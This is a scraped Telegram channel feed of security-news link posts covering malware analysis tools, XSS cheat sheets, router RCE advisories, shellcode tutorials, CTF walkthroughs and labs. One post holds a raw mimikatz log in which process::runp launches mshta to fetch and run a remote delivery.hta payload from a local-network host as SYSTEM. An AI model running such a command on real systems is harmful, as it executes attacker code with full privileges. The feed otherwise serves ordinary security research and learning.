Information Security
@sec_nerd_en
413 subscribers
157 photos
5 videos
9 files
2.28K links
Information Security News

we are @sec_nerd twin brother
Download Telegram
About
Blog
Apps
Platform
Join
Information Security
413 subscribers
Information Security
https://github.com/CapacitorSet/box-js

box-js : A tool for studying JavaScript malware
GitHub
GitHub - CapacitorSet/box-js: A tool for studying JavaScript malware.
A tool for studying JavaScript malware. Contribute to CapacitorSet/box-js development by creating an account on GitHub.
117 views
Information Security
https://blog.sucuri.net/2019/10/an-indirect-way-to-change-cpanel-passwords.html
Sucuri Blog
An Indirect Way to Change cPanel Passwords
Our researcher describes how attackers can modify contact email addresses in cPanel to gain unauthorized access and plant backdoors on compromised websites.
119 views
Information Security
https://www.fortinet.com/blog/threat-research/d-link-routers-found-vulnerable-rce.html
Fortinet Blog
Multiple D-Link Routers Found Vulnerable To Unauthenticated Remote Code Execution
FortiGuard Labs has discovered an unauthenticated command injection vulnerability in D-Link products that could lead to Remote Code Execution (RCE) upon successful exploitation. Learn more.…
164 views
Information Security
https://portswigger.net/web-security/cross-site-scripting/cheat-sheet
portswigger.net
Cross-Site Scripting (XSS) Cheat Sheet - 2025 Edition | Web Security Academy
Interactive cross-site scripting (XSS) cheat sheet for 2025, brought to you by PortSwigger. Actively maintained, and regularly updated with new vectors.
119 views
Information Security
https://darungrim.com/research/2019-10-10-vulnerability-root-cause-analysis-with-time-travel-debugging.html
Darungrim
Vulnerability Root Cause Analysis With Time Travel Debugging
There are many ways to find vulnerabilities. One of the most scalable methods is fuzzing. In essence, fuzzing is a brute-forcing. In many cases, malformed in...
109 views
Information Security
https://www.preempt.com/blog/drop-the-mic-2-active-directory-open-to-more-ntlm-attacks/
113 views
Information Security
https://blog.trendmicro.com/trendlabs-security-intelligence/cve-2019-16928-exploiting-an-exim-vulnerability-via-ehlo-strings/
Trendmicro
CVE-2019-16928: Exploiting an Exim Vulnerability via EHLO Strings - TrendLabs Security Intelligence Blog
In September, security researchers discovered the existence of CVE-2019-16928, a vulnerability involving the mail transfer agent Exim. Exim accounts for over 50% of publicly reachable mail servers on the internet. What makes the bug particularly noteworthy…
115 views
Information Security
https://medium.com/bugbountywriteup/from-security-misconfiguration-to-gaining-access-of-smtp-server-ed833e757e6e
Medium
From Security Misconfiguration to Gaining Access of SMTP server
Hello Guys!
127 viewsedited  
Information Security
https://www.kitploit.com/2019/10/smtptester-tool-to-check-common.html
KitPloit - PenTest & Hacking Tools
SMTPTester - Tool To Check Common Vulnerabilities In SMTP Servers
117 views
Information Security
https://pentester.land/cheatsheets/2019/03/25/compilation-of-recon-workflows.html
Pentester Land
Compilation of recon workflows
Hi, this is a compilation of recon workflows found online. Use it as inspiration for creating your own Web pentest / bug bounty recon workflow.
These are all the ones that I could find. So if yours is missing and you want to see it featured above too, please…
116 views
Information Security
https://securitycafe.ro/2015/12/14/introduction-to-windows-shellcode-development-part-2/
Security Café
Introduction to Windows shellcode development – Part 2
If you missed the first part of this series, where you can read about what is a shellcode and how it works, you can find it here: Part I. In this part, I will cover required information in order to…
114 views
Information Security
https://medium.com/@theRaz0r/arbitrary-file-reading-in-next-js-2-4-1-34104c4e75e9
Medium
Arbitrary File Reading in Next.js < 2.4.1
Next.js is a quite popular (>13k stars on GitHub) framework for server-rendered React applications. It includes a NodeJS server which allows to render HTML pages dynamically. While digging into…
130 views
Information Security
mimikatz # process::runp /run:"mshta http://192.168.0.220:80/delivery.hta" /pid:2948
Run : mshta http://192.168.0.220:80/delivery.hta
PPID: 2948
PID: 9012 - TID: 8228
{0;000003e7} 1 D 24984575 NT AUTHORITY\SYSTEM S-1-5-18 (04g,21p) Primary
118 views
Information Security
https://git.sp0re.sh/sp0re/Nhttpd-exploits
111 views
Information Security
https://medium.com/@woj_ciech/fun-with-amazon-s3-leaks-and-bucket-takeover-attack-ddb17da1c431?sk=ea1ae03f2e35197035c16ee38dd4f4e6
Medium
Fun with Amazon S3— Leaks and bucket takeover attack
Amazon S3 joins to the LeakLooker family, now tool looks for exposed buckets and potential takeovers.
115 views
Information Security
https://hackerone.com/reports/140865

This report by ryat creates a bunch of RCE in almost every PHP app running <= 5.6
HackerOne
PHP (IBB) disclosed on HackerOne: Integer Overflow in...
This bug report at https://bugs.php.net/bug.php?id=72135, and fixed...
114 views
Information Security
112 views
Information Security
https://medium.com/bugbountywriteup/reflected-dom-xss-and-clickjacking-on-https-silvergoldbull-de-bt-html-daa36bdf7bf0
Medium
Reflected DOM XSS and CLICKJACKING on https://silvergoldbull.de/bt.html
While doing spidering on silvergoldbull site I noticed a strange request to https://silvergoldbull.de/bt.html with following request:
114 views
Information Security
https://www.ptrace-security.com/blog/how-to-hack-the-bsides-vancouver-2018-ctf-vm-part-2/
Ptrace Security GmbH
#HackOnTuesday Episode 10 How to hack the Bsides Vancouver 2018 CTF VM (Part 2)
In this video, Gianni Gnesa explores an alternative way to get root on the Bsides Vancouver 2018 CTF VM starting from a compromised WordPress installation.
123 views
Information Security
https://www.notsosecure.com/sql-injection-lab/
NotSoSecure
SQL Injection Lab
In 2015, we launched a SQLi lab for attendees to learn SQLi. The challenges ranged from Basic to advanced. While, we no longer support the lab, we have decided to make all the content freely
222 views